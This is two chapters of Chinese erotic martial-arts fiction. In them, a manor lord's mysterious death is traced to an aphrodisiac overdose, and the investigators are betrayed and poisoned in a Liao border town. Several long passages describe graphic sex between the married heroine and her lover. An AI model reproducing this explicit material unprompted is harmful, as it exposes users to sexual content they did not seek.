图片载入中

香山玉踪(续:欲乱边尘)(16-17)

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

第十六章

经过了两天的日夜兼程,众人在第三天的早上就赶回了枫回镇。此时虽然马 匹已经疲惫不堪,但众人经过了刚才的两三个时辰的休息,还是恢复了体力。, 尤其是此时的雷斌,自从那晚得以享受苏希娇更多的慰藉后,显得越发的神采奕 奕。而此时他身边娇滴滴的苏希娇,就像是她的小情人一样跟在他的后边。

虽然兵行神速,然而终究还是晚了一步。此时枫回镇发生的一切,还是让他 们感到沮丧。的万柳山庄里里外外,正聚集着几乎枫回镇上所有的公差,因为山 庄里发生了一件十分重大的命案。在武通南的厢房外,仵作正在检验着一具离奇 死亡的尸体,而这个尸体的主人,正是万柳山庄的庄主武通南。

“这一切是怎么回事?”雷斌的到来已经让山庄的人有些不安了,而亮明了 身份的苏希娇的质问更是让山庄和公差们感到更大的压力。

“回苏大人,今天早上武通北来报案,说发现了武庄主离奇死在了厢房中, 因为万柳山庄是镇上的大户,庄主突然死亡,小的猜想或许有什么隐情,所以便 率领三班衙役一起来调查。”那个跪在地上的衙差,战战兢兢地回答着苏希娇的 问话。

“那么调查可有什么结果?”

“刚才仵作检查了尸体,发现并没有任何的伤痕。而我们刚才也仔细勘查过 现场,这里并没有任何的打斗迹象,所以我们怀疑武庄主是因为身体原因暴毙。”

“苏夫人,你觉得是中毒吗?”雷斌小声问道。苏希娇却摇了摇头,说: “刚才我也简单检查过尸体,并没有中毒的迹象。从他的尸体上来看,他面色惨 白,青筋暴起,似乎是受到过什么巨大的刺激,以至于心脉受到严重的创伤而死。”

“武先生,贵庄主之前可曾有过什么身体上的疾恙吗?”苏希娇问道武通北。

武通北想了想,摇头说道:“家兄习武多年,一直身体康健,除了偶感风寒, 不曾有过任何疾病。”然而一旁的仵作,这时却突然插嘴道:“启禀几位大人, 刚才小人眼看武庄主尸体的时候,发现他下体红肿,阳具皮肉外翻,应该是有过 度行房的迹象。”

仵作的这句话,立时让在场的三个人心理咯噔了一下。这三个人就是武通北, 雷斌,还有苏希娇。他们三人均知道,这武通南好男风的癖好,眼下仵作说他有 过度行房的迹象,不知道那个被他侵袭后庭的男人此时情况怎么样。

想到这里,雷斌和苏希娇猛然醒悟,自从进府到现在,他们一直觉得有什么 地方似乎不合理,只是一时间说不上到底哪里不合理。现在经过仵作提醒,他们 才意识到,从一开始到现在,竟然不见那个武通南的男宠出现。

雷斌假装不知道这件事情,问武通北道:“你大哥最近宠幸过的夫人小妾有 哪些?将她们都唤来,我们一一审问。”

果然,武通北此时一脸尴尬,支支吾吾只说,最近武通南在修习一门武功, 因此并没接近过自己的夫人小妾。雷斌当然知道,他这不过是搪塞致辞而已,所 以便到:“诶,见一见也无妨,在怎么说武庄主和在下也有过盟约,盟友遭逢大 难,在线自然也应该慰抚下他的遗孀。”

武通北见坚持不过,知道自己山庄毕竟有过降书在对方手上。虽然此时自己 这方人数占优,但也不敢乘着这么多人都在的时候贸然发难。于是想了想,只好 说道:“此时事关家兄名声,还请雷庄主单独入内。我一五一十说给庄主。”

“哦,为什么不叫上我呢?”苏希娇故意问道。

“其中有些事情,夫人乃女流,恐怕不太方便。”

雷斌知道苏希娇是故意这么问的,冲她微微一笑,要她和众人留在大堂,独 自跟着武通北去了西侧的一个厢房。

“武通北,你可知罪啊。”走进厢房的雷斌,突然收起了和颜悦色的表情, 对武通北发难到。

“雷庄主这话,让在下不解了,在下何罪之有?”武通北虽然心里慌张,但 表面上还是努力控制着自己的情绪。

“你少给我装蒜,你当真以为我不知道你们的事情吗。你给我说,为什么龙 虎草买卖中涉及到的大宗金银流动,是从你万柳山庄的银号走的,但此时你却只 字未提。”

武通北见雷斌突然说起鸿运银号的事情,立时大惊,心中盘算着如何应答雷 斌的问题。要知道,按照盟约,他们的银号涉及的一切和百草山庄相关的金钱往 来,都需要向百草山庄公开。但这龙虎草的经营已经持续了几年,他们从未向百 草山庄提起过只言片语。倘若此时雷斌以此发难,对他们来说确实是一件麻烦事。

雷斌随时观看着武通北的表情,见他眼里闪过一丝的犹豫,执导敲山震虎已 经有了成效,于是立即再乘胜追击道:“我曾听人说起,你大哥这些年颇好男风, 对自己的妻子小妾不闻不问,这又是为什么?”

听了这番话,武通北心中更是一惊,不知道雷斌是如何知道此事,只是推诿 着说道:“这些消息大多是下人谣传,不知道是如何传道雷庄主耳朵里的呢?”

“哦?谣传?我看未必吧。我是如何知道的,你不必知悉。单只为你一件事, 今日为何不见着武通南的男宠,他去哪里了?你说。”

武通北见此时也被雷斌知晓,心中一惊软了。尤其是想起几年前雷斌独挑山 庄那一天的雷霆手段,武通北只觉得背心上虚汗频频。叹了口气说道:“罢了, 既然雷庄主知道了这么多事情,那就没有必要再向庄主隐瞒了。”

武通北顿了顿,缓缓说道:“在下大哥的这个怪毛病,即使庄主不知道,今 天我把庄主叫到偏房也是想向庄主说出实情的。在大约是三年前吧,有一日,一 个自称是肖先生的商人盈夜造访了山庄,说是受托于故人,要和我们兄弟两谈一 些买卖。当时鸿运银号的流水并不多,这点雷庄主是知道的。所以当时虽然对方 说出是要帮黄金山的回春山走一笔金银,要求这件事对百草山庄严格隐瞒的时候。 我们兄弟本是不答应,但对方的数额实在巨大,报酬也是丰富,所以便答应了这 桩买卖。当时我们心想,我们只是替人走金银而已,不涉及别的东西,所以觉得 也无妨。”

雷斌知道,这个肖先生,应该就是黄金山的那个门客。看来整件事情,他们 已经提前筹划了很久。

武通北接着说道:“虽然如此,但我大哥任然担心对方有问题,于是便假意 挽留肖先生,其实是要把他软禁起来,等黄金山自己找上门来。果然,一个月后, 黄金山上门,证实了这件买卖,还付了几千两银子的保证金。当时我们兄弟见对 方不像是有什么欺骗我们,于是便正式开始履行这个请求。”

“然而就在那之后,我突然发现大哥的性格越来越古怪,经常把自己一个人 关在房里,不光如此,而且我发现大哥离自己的妻妾越来越远了。雷庄主你是知 道的,家兄曾经也是个风流之人,一共有十一房的老婆。我当时很好奇大哥为什 么有身边变化,于是便暗中监视大哥的行为,结果发现他似乎正在练一种武功。”

“什么武功?”

“当时我不知道,后来,在一次喝醉后,我向大哥问起此事,他才跟我坦白。 原来那次黄金山的赎金中,除了金银宝物,还有一本武功秘籍,这个武功叫春水 诀。”

“春水诀?”雷斌听了这三个字,立即大惊。这春水诀他曾听霍青玉说起过, 是一门极其阴寒的武功。这们功夫一旦修炼起来,体内的阴寒之气大盛,倘若女 子来修行,如果功力不深,那以女子的阴寒之体,很容易收到反噬,所以修炼这 门功夫的女子,大多数要靠采阴补阳之术来维系。而倘若由男人来修炼这等功夫, 虽然无走火入魔的危险,却要因为体内的阴气太盛,而变得不男不女。

“所以武通南就是因为这个原因,开始染上男风的习惯的?”

“不错。”

“那么他最近的这个男宠呢?”雷斌问道。

“这个人曾经是一个戏班子的小生,艺名叫一丈青。大概是一年前,庄里有 人过寿,请他们来唱曲时,庄主便看上了他。于是庄主买下了他,让他在山庄协 助处理杂务,其实就是给自己当男宠,还给他改名叫武悠。”

“这个人的背景你们调查过了吗?”

武通北却摇了摇头说:“没有,我本来暗示过大哥,要调查一下这个人的来 历。但大哥丝毫不以为意。我见大哥如此态度,而这个人又在山庄里时分守规矩, 便不再过问这个事情。”

“他进府的这一年,可曾有过什么异常举动吗?”

“没有,”武通北还是摇了摇头,却突然若有所思了一会儿才说道:“如果 说有,那便是前不久,庄主让他和我一起去调查龙虎草一案中,负责提走金银的 那一拨辽人时的一个细节举动。”

“哦?”

“当时我们在定州府的眼线来报,说龙虎草交易出了事情,负责运送草药的 定州府公人们在大辽境内遇到了袭击。不瞒雷庄主说,在这之前,我大哥就对那 群辽人的动态有所留意,所以一听说这件事情后,便立即要我去之前和他们交接 的地方去调查一下情况,唯一不同的是,这次大哥还叫我带上了武悠一起去。我 当时虽然不悦,但还是没有拒绝大哥的命令,所以就带那个人一起去了以往和辽 人联络的那个客栈。”

“然而那里的人也人去楼空了?”

“不错,也许是他们早有预谋吧,我们并没有任何的发现。但就在我说起, 之前的辽人来自咔萨拉古镇的时候,我注意到武悠的眼神中似乎有些异样。”武 通北说道:“雷庄主,你是知道的,这咔萨拉古镇就是龙虎草的交易地点。这咔 萨拉古镇虽然历史很久,但其实一直只是一个很小的镇子,所以很多人其实并不 知道这个地方是在哪里。然而,那个武悠却给我说,他多年前去过那里。”

果然,这个年轻人不简单。难道说,他接近武通北的目的,就是为了探听龙 虎草的信息?

雷斌正在思考,却又听见武通南接着说道:“雷庄主,不光如此,这个武悠 还给我说起过一事。”

“什么事?”

“他说这龙虎草是壮阳之物,须知从药理上来讲,这壮阳之物一直是生在阴 寒之地才能平衡万物的阴阳。但他却说,咔萨拉古镇是坐落在西灵山南,塔木河 以北,阳气最盛的地方。这种地方从药理上讲,是长不了这样的壮阳猛药的。”

雷斌也是炼药高手,自然明白这番话的意思,说到:“这确实不和常理,难 倒是这药草颇为特别吧。当时豹韬卫找上门来,说要定制一种壮阳强身药物的时 候,是二弟亲自替他们用龙虎草炼制的龙虎丸。药成之时我也在场,我自己试过 药性,确实效果不错。所以,这龙虎草应该是没有问题。”

武通北见雷斌也同样一筹莫展,说到:“雷庄主,不瞒你说,今天早上一见 大哥暴毙,我就立即怀疑这个武悠。在你们来之前,我已经派出了三路人手去追 查了,但到目前,这三路人手还没有一路人回报。”

雷斌听完武通北的话,点了点头,正色道:“武通北,你记住,你万柳山庄 跟我百草山庄氏有盟约在先的。目前念你们也是多事之秋,这龙虎草交易的事情 我暂且不追究,但从这个月开始,每个月一次,你们要像我们汇报所有你们的金 银往来。”

武通北听完雷斌的话,心里不断叫苦,但此事本来也是他们不讲信义在先, 也没有办法,只好答应了雷斌的要求。

却说这边的苏希娇等人,见雷斌一时半会儿也聊不完,便又重新仔细检验了 一次武通北的尸体。苏希娇对于医理的理解,那岂是一般的衙门仵作能比的,所 以等两人离开厢房的时候,这边的苏希娇已经有了很多的发现了。

雷斌把刚才对话的内容简单告诉了苏希娇等人,苏希娇的猜想理解得到了印 证,低头小声在雷斌旁边说到:“庄主,你还记得当日我们在夜探万柳山庄的时 候,曾发现武通南在和那个男宠行房之前,曾经往下体涂抹过一种液体吗?”

“难倒你是说,那个液体有问题?”

“不错,我刚才遍寻了他的房间,并没有找到那种液体。但是我从尸体的反 应来看,已经基本确定了,那是一种叫极乐散的烈性媚药调制而成的东西。刚才 你说武通南练了春水诀,看来他就是靠着这种药物,才能让自己收到阴寒之气侵 蚀的身体能够保持男人的能力。但这种药物有种极大的副作用,就是因为给人的 刺激太过强烈,倘若一旦使用过量,这种药物就会对心脉造成极大的损伤。所以 目前我可以肯定,昨天晚上定然是武通南使用了大量的极乐散行房,导致了心脉 崩裂而死。”

“嗯,看来那个叫武悠的人,也是早有预谋。从他的身世,离奇的出现原因, 以及对龙虎草交易的关注程度来看,此人定然是一个于本案有着重要关系之人。” 雷斌说道。

“那庄主,目前我们怎么办?”

雷斌看了看苏希娇,缓缓说道:“我想,我们应该去咔萨拉古镇走一圈了。”

苏希娇看着雷斌,轻轻点了点头。

回到客栈后,雷斌立即和尉迟义进等人仔细研究起去咔萨拉古镇的路线。而 忙里偷闲的苏希娇,却在孙玉蓉的两个手下的陪同下,在附近的一个较大的成衣 铺子里挑起了衣服来。

之前的随身服饰,已经在落马镇的那次袭击中失落在了客栈里,这几天她也 只能勉强穿孙玉蓉带的辽人衣服。成衣铺子的老板是个大概四十岁的女人,见苏 希娇天生绝色,而且看上去出手阔绰,以为是哪个大户人家的少奶奶,于是自然 堆着笑容给她介绍了一堆衣服。苏希娇挑选了几件衣服后,小声对老板说到: “老板,我还想买几件内衣。”

老板是过来人,看了看苏希娇眉目含情的样子,知道最近女人是在雨露滋润 的状态下,嘴角突然笑了笑说道:“内衣自然是有的,不过以姑娘这种身段,我 推荐你另外几身的内衣,你且跟我进房内来看看。”说罢,带着苏希娇来到里屋, 从一个箱子里,拿出了几件蚕丝肚兜。

这几件蚕丝肚兜,做工都是极为精细的,每一针都体现出极为深厚的手艺。 入手之处甚为柔软细腻,单只有一点,这些肚兜都是极薄的,倘若穿在身上,自 然是春色满园关不住。

“老板,这内衣手感极好,但是也太透了一点吧。”苏希娇的语气有些羞涩。

老板却笑了笑说:“姑娘,这内衣可不是用来在家里纳凉的时候穿的,这个 是在闺房之中,用来取悦自己心爱的男人的。”

“什么?”

“姑娘,我看你这眉目含春的样子,定然是最近春风雨露滋润的吧。你听我 的没错,闺房之中穿上这身衣服,保证让你的男人欲火焚身。”老板直勾勾的话, 说的苏希娇一阵脸红,老板见她有些犹豫,接着说道:“这女人对男人来说,最 美的样子,是那种朦朦胧胧,欲遮欲掩的样子。倘若就这样赤身裸体,反而失去 了女人的美感。怎么样,要不要挑几件?”

但老板不知道,此时苏希娇的心里犹豫不决,不是在衣服上,而是雷斌的关 系。这几天,她和雷斌之间的欲望的禁区不断被摧毁,几乎已经到了野火燎原的 状态。现在让她用手替雷斌排排毒,她还可以接受,但倘若穿上如此性感撩人的 衣服站在雷斌前面,难保对方不会欲火大盛而要强行占有她。

但从这几天来看,随着身体的逐渐恢复,雷斌在床第的持久也越来越明显, 寻常的刺激已经很难让他泄身了。思忖再三,苏希娇还是挑选了一件老板推荐的 肚兜,小心翼翼藏在了自己的背包里。她已经打定了主意,倘若雷斌能够不越过 雷池,她就穿着这件肚兜让雷斌看一下,当然,也只是看看而已。

此时门外的春风正盛,孙希娇的心里隐隐觉得,自己对雷斌的戒心越来越小, 难倒自己真的会成为他的俘虏,做下那违背人伦的事情吗?

这边春风一片,而那边定州府内的宋莫言郁闷的心情,竟然也随着温暖的春 风的到来而变得好了一些。虽然那一夜,在阿红的那里发现的张二留下来的迷信 中的内容后,事情反而变得更加复杂一些,但毕竟心头的一些疑团似乎有了头绪。

此时他一人走在定州府的大街上,反复琢磨着信中的内容,迷迷瞪瞪就像着 了魔一样。没有人会在意这样一个看上去有些呆头呆脑的外乡人,这正好给了他 足够的思考空间。

然而不经意间,他突然觉得脚踝上一疼,就像是被什么东西重重一击。低头 一看,不知道什么时候,一块飞来的石头砸中了自己的脚踝。他正在好奇这块石 头是从哪里飞来的时候,却在不远处看到了一个熟悉的身影。

那个小大王,此时正直勾勾的看着自己。宋莫言本来以为他认不出易容后的 自己,但万没想到的是,小大王走到他面前,噼头盖脸就说:“宋先生,我找了 你好久。”

“你怎么知道是我。”宋莫言有些好奇。

小大王却笑了笑,神气地说道:“不是我认出来了你,是阿红姐那天认出了 你。”说完,拉着神情有些尴尬的宋莫言就往一条巷子里走去。

“诶,你带我去去哪儿?”

“带你去见一个你需要见的人。”

定州情况,似乎越来越复杂了,而枫回镇的一切,也是到了十分严峻的状态 了。明天就要去那传说中的咔萨拉古镇了,苏希娇的心中充满了忐忑。

这已经是第二次在枫回镇过夜,躺在床上的苏希娇,感受着熟悉的春夜气息。 脑中不禁想起那晚在枫回镇发生的有些荒谬的韵事,不知道怎么的,脑海中又想 起雷斌了。

有些事,纸是包不住火的,这两天她虽然表现上克制着自己和雷斌的态度, 但其实同为女人的孙玉蓉早已经感觉的出来她的心态的变化了。尤其是今天,在 安排房间的时候,孙玉蓉刻意把她和雷斌的房间安排在了二层最里面的僻静角落 处,似乎别有深意。

此时对面的房门安静,里面一点声音都没有,不知道他在里面干什么呢?今 天买的那件性感妖娆的肚兜,此时正放在一旁的包袱里,他还不知道自己为他准 备的这份礼物,倘若他知道了,是否会情欲难以克制呢?

正在思忖间,突然,苏希娇发现一张纸条从窗户的缝隙塞了进来,落在了窗 户边的地上。苏希娇急忙起身捡起了那张纸条,打开一看,一下子侨脸又绯红起 来。

纸条上,雷斌熟悉的苍劲有力的字体整齐的写着一行字:“装什么矜持呢? 我期待你的主动。”不知为什么,苏希娇看了这句有些霸道的话,反而觉得雷斌 有些孩子气,忍不住微微一笑。

雷斌的房间并没有上锁,当犹豫了很久才鼓足勇气推开房门的时候,苏希娇 被里面的情景吓了一跳。此时雷斌的房间,放了至少四五盏油灯。穿着一身内衣 的雷斌,此时正金刀大马的坐在房间中的一个太师椅上。苏希娇的到来似乎是他 意料之中的事情,所以他并没有任何反应,只是下体膨胀起的一顶帐篷正体现着 他的内心活动。

“庄主,要不要我去帮你找两个妓女,”苏希娇的问题连她自己都觉得有些 好笑。雷斌自然也不会回应她这个有些莫名其妙的问题,只是换换道:“我原以 为我的一生会就在混沌中度过,没想到我却被你从混沌中拉了回来。不光如此, 你还唤醒了我的欲望,我对女人的欲望,我对江湖的欲望,还有,对你的欲望。”

苏希娇颤抖着双唇,听着男人说着这话。之前他们虽然已经到了野火燎原的 边缘,但却不曾在语言上直接表达自己的情感,此时雷斌说起来,让她心中泛起 一阵感动。

“我知道你的内心在犹豫什么,你也知道我的内心在纠结什么。从今天开始, 我不会在主动向你索取,一切全看你,你让我享受,我就享受,你让我占有,我 就占有。”说完,雷斌伸了个懒腰,竟然就这样躺回了太师椅。

然而这就是雷斌的高明之处,这一招以退为进,反而打消了苏希娇心中的最 后一丝的顾虑,女人媚眼如丝的看着雷斌,温柔说道:“那庄主且躺好,我给些 东西给你看。”说罢,拉着自己的衣襟,往两边一拉。

单薄的睡衣滑落,露出了连雷斌都为之一惊的美景。此时的苏希娇的睡衣里, 正穿着一件在腹部秀着一支杏花的红的肚兜,蚕丝的肚兜十分薄几乎是透明的状 态,让男人可以看到里面若隐若现的女人的身体,嫣红的乳头在肚兜的承托下更 加红润,而下体的一片春光,也被一条几乎只有几条布带组成的亵裤巧妙的遮挡 着。

苏希娇看了看男人的反应,轻轻爬上了一旁的床榻,正对着雷斌的方向坐了 下来。然后闭上眼睛,开始轻轻抚摸自己的身体。

1.jpg (83.04 KB)

在这之前,雷斌虽然两次得窥苏希娇玉体的美好,但一次只是从背后得意看 到冰山一角,而另外一次又只是能借着月光朦朦胧胧的看着半裸的女人。此时房 间灯火通明,女人和他有保持着最完美的距离,这才有了最好的角度欣赏着女人。

而这边的苏希娇,被男人火热的目光弄的欲念更盛,抚摸自己的一双手行云 流水,一会儿在腰间纵横来回,一会儿在自己的高耸的双乳前轻拂慢碾,到最后, 终于忍不住,将一只手伸到自己的两腿间,隔着亵裤,不断挑逗起自己那早已经 春潮泛滥的秘洞口上的那颗凸起的蜜豆。

快感如电,苏希娇突然觉得这种感觉竟然比以前的男女换好还要刺激。此时 雷斌同样在她面前,掏出了硕大的肉棒飞快的套弄着,而自己也在这边一边苦苦 挣扎着最后的矜持,一边看着男人的动作。

昏黄温暖的房间内,两个人就这样一个坐在太师椅里,一个坐在床上,自慰 着给别人看。今晚的苏希娇好像变得异常的敏感,指头一阵快速的骚弄后,竟然 浑身一颤,就这样在雷斌面前泄身了。

虽然之前雷斌已经当着苏希娇泄身好几次了,但这一次却是女人第一次在雷 斌前面高潮。激情过后的苏希娇,趴在床上看着雷斌兀自还在看着自己忙碌着, 嘴角不由的微微一笑,接着,撑起自己的身子,慢慢来到了雷斌面前。

“这么乖呀。”苏希娇伸嘴在雷斌的脸颊上一吻,像是给男人刚才说到做到 的一次嘉奖。然而,她给男人的嘉奖却远不止如此。眼如桃花的苏希娇看了雷斌 一眼后,竟然低下头,拉开他胸前的衣襟,用自己的香舌在男人的乳首上舔弄起 来。

雷斌放弃了下体的套弄,舒爽的躺回太师椅,享受着女人的服务。但就连雷 斌自己也没有意料到,女人接下来的举动更加大胆。

苏希娇的热吻并没有在雷斌胸前停留太久,就开始在雷斌的身上游走起来。 从腹部,到腰间,女人的热吻几乎亲遍了雷斌的每一寸肌肤,直到到达男人那早 已经被苏希娇熟记在心的火热肉棒前。

尽管苏希娇一向在床第之间并不保守,但她却一直没有给宋莫言亲吻过下体。 虽然她对品萧之乐并不陌生,但毕竟还是觉得有些肮脏羞耻,加上宋莫言也从未 要求过,所以她也不曾替宋莫言这么做过。

但这一次,也许是是缘于偷情带来的强烈快感,也许是想给男人的一次慰藉。 苏希娇竟然扶起雷斌的肉棒,轻启檀口,在龟头头上那张张开的小嘴上,吻了一 下。

雷斌情不自禁的呻吟似乎给了苏希娇很大的鼓励,一下,两下,三下,苏希 娇伸出自己的舌头,灵活的在男人的肉棒上来回舔吸着。虽然这是女人的第一次 品萧,但品萧的要领却早已存在于苏希娇的心中,青春懵懂时在霍青玉的书房里 阅读的那些闺房秘术的书籍内容,此时慢慢回忆在她的脑海里。

嘴唇,口腔,舌头,虽然只是方寸之间的地方,苏希娇却极力的用这些地方 刺激的着雷斌的下体。女人不断起伏的动作,已经让脖颈后的丝带慢慢松开,一 大片肚兜的布料垂了下去,让女人的一只玉乳,几乎完全裸露在了空气中。 2.jpg (54.11 KB)

苏希娇抱起男人的一条腿,把他的一只脚掌放在了自己胸前,用一边的玉乳 温柔的按摩着男人的足心。此时从一旁看,雷斌就像是用脚在践踏苏希娇一样。 这种姿势带来的巨大的征服感,让男人享受着前所未有的刺激。脚底的软腻,让 雷斌情不自禁的用脚掌摩擦起女人的玉乳,一边揉捏,一边用脚趾用力的夹着那 已经膨胀突起的乳头。

苏希娇被这样的举动弄的浑身酥软,竟然没有觉得疼痛,反而觉得体内有一 股异样的欲望在流动,含着雷斌下体的小嘴,忍不住发出一阵如同呜咽般的呻吟 声。

也许是女人的手口并用的效果,也许是两人第一次这样淫乐带来的快感。所 以男人并没有持续到让苏希娇无法应付的状态,虽然期间也断断续续让苏希娇休 息了几次,但终于,男人还是达到了情欲的巅峰。

肉棒的剧烈膨胀,让苏希娇立即明白男人已经到了如箭在弦的状态,于是立 即把男人的肉棒吐了出来,然后抬头看着男人的眼睛,手上还在不断的套弄着。

雷斌看着苏希娇娇媚温柔地跪在自己的面前的样子,心念一动,扶起苏希娇 的俏脸,浑身一颤,将火热滚烫的阳精,直接喷洒在女人的一张俏脸上。

苏希娇被男人的阳精亵渎,竟也不恼,看男人舒服的躺回太师椅之后,温柔 的在他那兀自张开的龟头小嘴上轻轻一吻。然后才起身,带着一阵香风离开了雷 斌的房间。只是在行走的时候,女人的动作有些不自然,似乎两腿间有什么异样 的东西似的。

四天后,众人抵达了目的地。神秘的咔萨拉古镇就在眼前,祥和而宁静。在 过去的这四天中,雷斌和苏希娇的情欲变得更加肆无忌惮。除了需要调整状态的 昨天网上,苏希娇每晚都偷偷来到雷斌的房间,换着花样让他淫乐着。

从那一日苏希娇主动给雷斌品萧开始,女人的情欲的枷锁就彻底被打开了。 这几天,她就像是一个欲求不满的女人一样,不断换着花样和男人调情着。丛趁 着其他众人不注意的时候,背对着众人突然站在雷斌面。突然低头拉开了领口, 让雷斌在咫尺之间看着裸露在空气中的玉乳。

在夜里,苏希娇更加大胆的让男人趴在床上,自己骢身后替男人舔吸着胯下 的肉丸和肛门。枫回镇上买的那些诱人的内衣,终于被她迫不及待的一件件展示 给了男人看。

而就在昨天上午,想到昨夜要禁欲的苏希娇,竟然借口要针灸,在半路上把 雷斌拉到了旁边的一个隐蔽泉水旁边,然后脱下了上衣,用自己的一双玉乳夹着 雷斌的肉棒给他套弄起来。

就连雷斌都惊讶,为什么这个看上去一身矜持的女人,会懂得乳交这种东西。 女人柔软的双乳,淫靡的眼神,让他心中竟然充满了难得的征服感。那一次淫乐, 男人肆无忌惮的亲吻着女人的红唇,而女人也更加动情,竟然允许了男人要在她 嘴里泄出阳精的要求。不光如此,甚至还将男人的阳精甘之如饴的吞了下去。

虽然两人之间恪守着最后的一关没有突破,但两个人之间的淫乐,已经比起 很多新婚夫妻都要放肆。当两下无人的时候,苏希娇贪婪地抓着雷斌的手揉捏自 己的玉乳时,她竟然产生了希望这条路就这么一直走下去的念头。

然而情欲之路,终究会有终点。就像此时的两人之间,虽然已经极尽欢愉, 却始终没有走到合体交欢的真正地步。当走进咔萨拉古镇的时候,两人也收拾起 了心中的情欲,面对未知的情景,努力留意着周围的一切。

初次来到这里的众人,心中自然充满了不安,尤其是镇上时而散发出来的一 阵阵药材的气息,更是让他们一切行事都小心翼翼。

这个不大的小镇上,大概只有百余户人家,而其中至少一半以上都是靠经营 药材为生的。在小镇道路的两旁,随时可见的是西灵山山神的各种神祇. 可见这 里的每个辽人对这神祗都充满了敬畏。

在枫回镇,雷斌已经和众人研究清楚了定州府衙役每次去进行龙舌草交易的 地方的路线。然而让人意外的是今天早晨特地先行一步去打探花刺术的动向孙玉 蓉回来的时候,却说她几乎问遍了镇上的店铺,但竟然没有一个人听说过这花刺 术的名字。

“庄主,这其中是不是有诈。”孙玉蓉的疑虑不无道理。

雷斌却似乎胸有成竹地说到“我们先去那个交易接头的地方看看。”

雷斌所说的那个定州府衙役来取药的地方,是坐落在在小镇的西边的一个药 铺。这个药铺虽然不算大,但依水而建,倒也有几分别致。药铺的门口,用羊皮 写着几个辽国的文字,尉迟义进说这大概是“辽阔的大河”的意思。

其实之所以可以如此的有恃无恐,是因为雷斌作业已经暗暗令尉迟义进摸过 这个店铺的底了。为了这一次的调查,他们的计划不可畏不周详,要知道很多成 名已久的江湖人物之所以会翻船,往往只是因为细节处理的不谨慎而已。

药铺的老板,是一个看上去大约六十岁的老头,一副生无可恋,行尸走肉的 样子。雷斌并没有开门见山的说明自己的来意,只说是自己练了一味药,想要问 问老板这药的配方。

“哦?老头子我老眼昏花,已经很多年没有帮人验过药了。”尉迟义进帮忙 翻译着老头有气无力的话。

雷斌知道老头的意思,给尉迟义进使了个眼色,尉迟义进急忙掏出了两块银 币给了老头。没有人不爱钱,尤其是这种几乎已经快要因为老迈而失去生存能力 的人。老头接过银币,枯死的脸上竟然也献出了一些生机,伸出骨瘦如柴的手, 接过了药瓶拧开。

一阵淡淡的药香飘在了空气中,这还是第一次见到真正的龙虎丸,苏希娇等 人不由得发出一阵赞叹。雷斌对这出自百草山庄的药物颇为满意,他们山庄一直 有个理念,这制药就像是酿酒,一种好药,应该是让人心情愉悦的服用。所以药 的气味控制也十分重要,打开瓶塞的时候,应该是让人产生喜爱而不是抗拒的。

不过眼前老头却像是嗅觉失灵一般,对这芳香没有任何的反应。将一颗药丸 倒在了一个有些都要变形的铜盘里,拿过一个小刀,小心翼翼地把药丸分开。

虽然刚才一直是要死不活的表情,但老头这几下分药丸的动作,却让一众人 肃然起敬,小指甲盖大小的药丸,被均匀地分成了八份,竟然一分不多,一分不 少。这稳定的手感,定然是长期练成的。接下来,老头拿出了几种检验药物的器 皿,仔细研究起来。

“这种药的主要成分是龙虎草。”老头的话让众人没有任何的意外,但老头 子镇定自若的表情却让众人有些奇怪。他们原以为,当自己拿出龙虎丸的时候, 如果眼前的老头是这桩私密的买卖的接头人的话,应该会很紧张才对,至少不会 像这般无动于衷。

老头顿了顿,沙哑着嗓子说道:“这种草药是在西灵山才有的一种壮阳健体 的药物。”

“那么,这种药物,定然是十分珍贵的吧。”雷斌问道。

听了尉迟义进翻译的话,老头看了雷斌一眼,笑了笑说道:“哪里珍贵了, 这龙虎草在西灵山深处遍地都是,平时根本没有人去采。而且,这龙虎草虽然有 强身健体的功效,但其实也只是一个辅助作用,比起什么鹿茸人参来说,简直就 是野草一样。”

老头的话,让众人一脸茫然,如果这龙虎草是稀松平常之物,那为何豹韬卫 会不惜重金来采购这种药物,再让他们来炼制。而这笔交易,甚至还被大辽的黑 风骑盯上。

“庄主,这一切到底是什么回事。”苏希娇的心头,泛起了一阵强烈的不安。

就在这时,变化突起,门外接二连三地传来了一阵惨叫,就在众人反应过来 之前,一个浑身带血的孙玉蓉的手下,跌跌撞撞地跑进了药铺,倒在了众人的面 前。而此时,几个人影出现在了药铺的门口。

“尉迟义进,你!”孙玉蓉难以置信地看着眼前的一切,几个手持钢刀的大 汉出现在了药铺门口,而这些人,竟然是尉迟义进的下属。从这几人刀上的血迹 来看,显然是他们在刚才突然对孙玉蓉的手下痛下杀手。

众人还惊魂未定的时候,突然从里屋传来了一阵银铃般的笑声,这笑声让人 十分熟悉,人未出现,声音已经先到了。

“庄主,想不到吧,这一切竟然和你想象的完全不一样。

第十七章

咔萨拉古镇的药店里,正发生着惊人的一幕。姬月娥,玉蝴蝶,黄金山,还 有那个豹韬卫的周虞候,一脸坏笑地出现在了众人的面前。

“你们为什么会在这里?”孙玉蓉正想厉声喝问道,然而她的话还没说完, 就觉得脚下一阵发软,竟然摔倒在了地上。不光是她,自己的身两个手下,苏希 娇,还有雷斌,似乎都失去了力气,身体摇摇晃晃的。

“刚才的龙虎丸瓶子中有毒。”苏希娇惊叫道。

“呵呵,苏女侠,真是难为你了,你真是新心思机敏。”玉蝴蝶的声音还是 那么的温柔,但此时的温柔中却暗藏杀机:“这些天可苦了你了,为了这所谓的 真相四处东奔。不过也亏的是你,这才让我们的计划得意实施得这么多顺利,你 真是个不错的诱饵。”

“但非常遗憾的是,你这个诱饵,在我们利用完了后,就得死。说真的,黄 老板,这女人给你拿回去当个填房,不是更好吗?就这么杀了,不可惜了这么好 的身段。”玉蝴蝶说完,看着一旁的黄金山,突然哈哈笑了起来。

但一旁的黄金山却不为所动,一脸认真的说道:“我黄某一个穷小子,走到 现在的地步,靠的是什么你知道吗?”

“哦?这我倒想听听,你是怎么发财的,回头也好参悟参悟你的生财之道。”

“狠,我每一步都比别人狠,每一次做事都斩草除根。别说是一个美女了, 就是我的至亲至爱之人,只要对于计划不利,我都丝毫不会犹豫。所以,苏女侠 你不要怪我,要怪就只能怪你自己太傻吧,居然相信自己能解开这其中的谜题。” 苏希娇的确有这方面的心思,但此时她却来不及害怕。因为黄金山正拿着刀向他 走过来,眼神中带有疼疼的杀气。

“且慢,”雷斌笑着说道:“既然话都说开了,不如把正主也叫出来说说话 吧,这么周密的计划,如果不让大家都知道每一个细节,别说我们,你们也会很 遗憾吧。”说罢,把虽然已经无力抵抗,却还在拼命拔剑的孙玉蓉的手按了按。

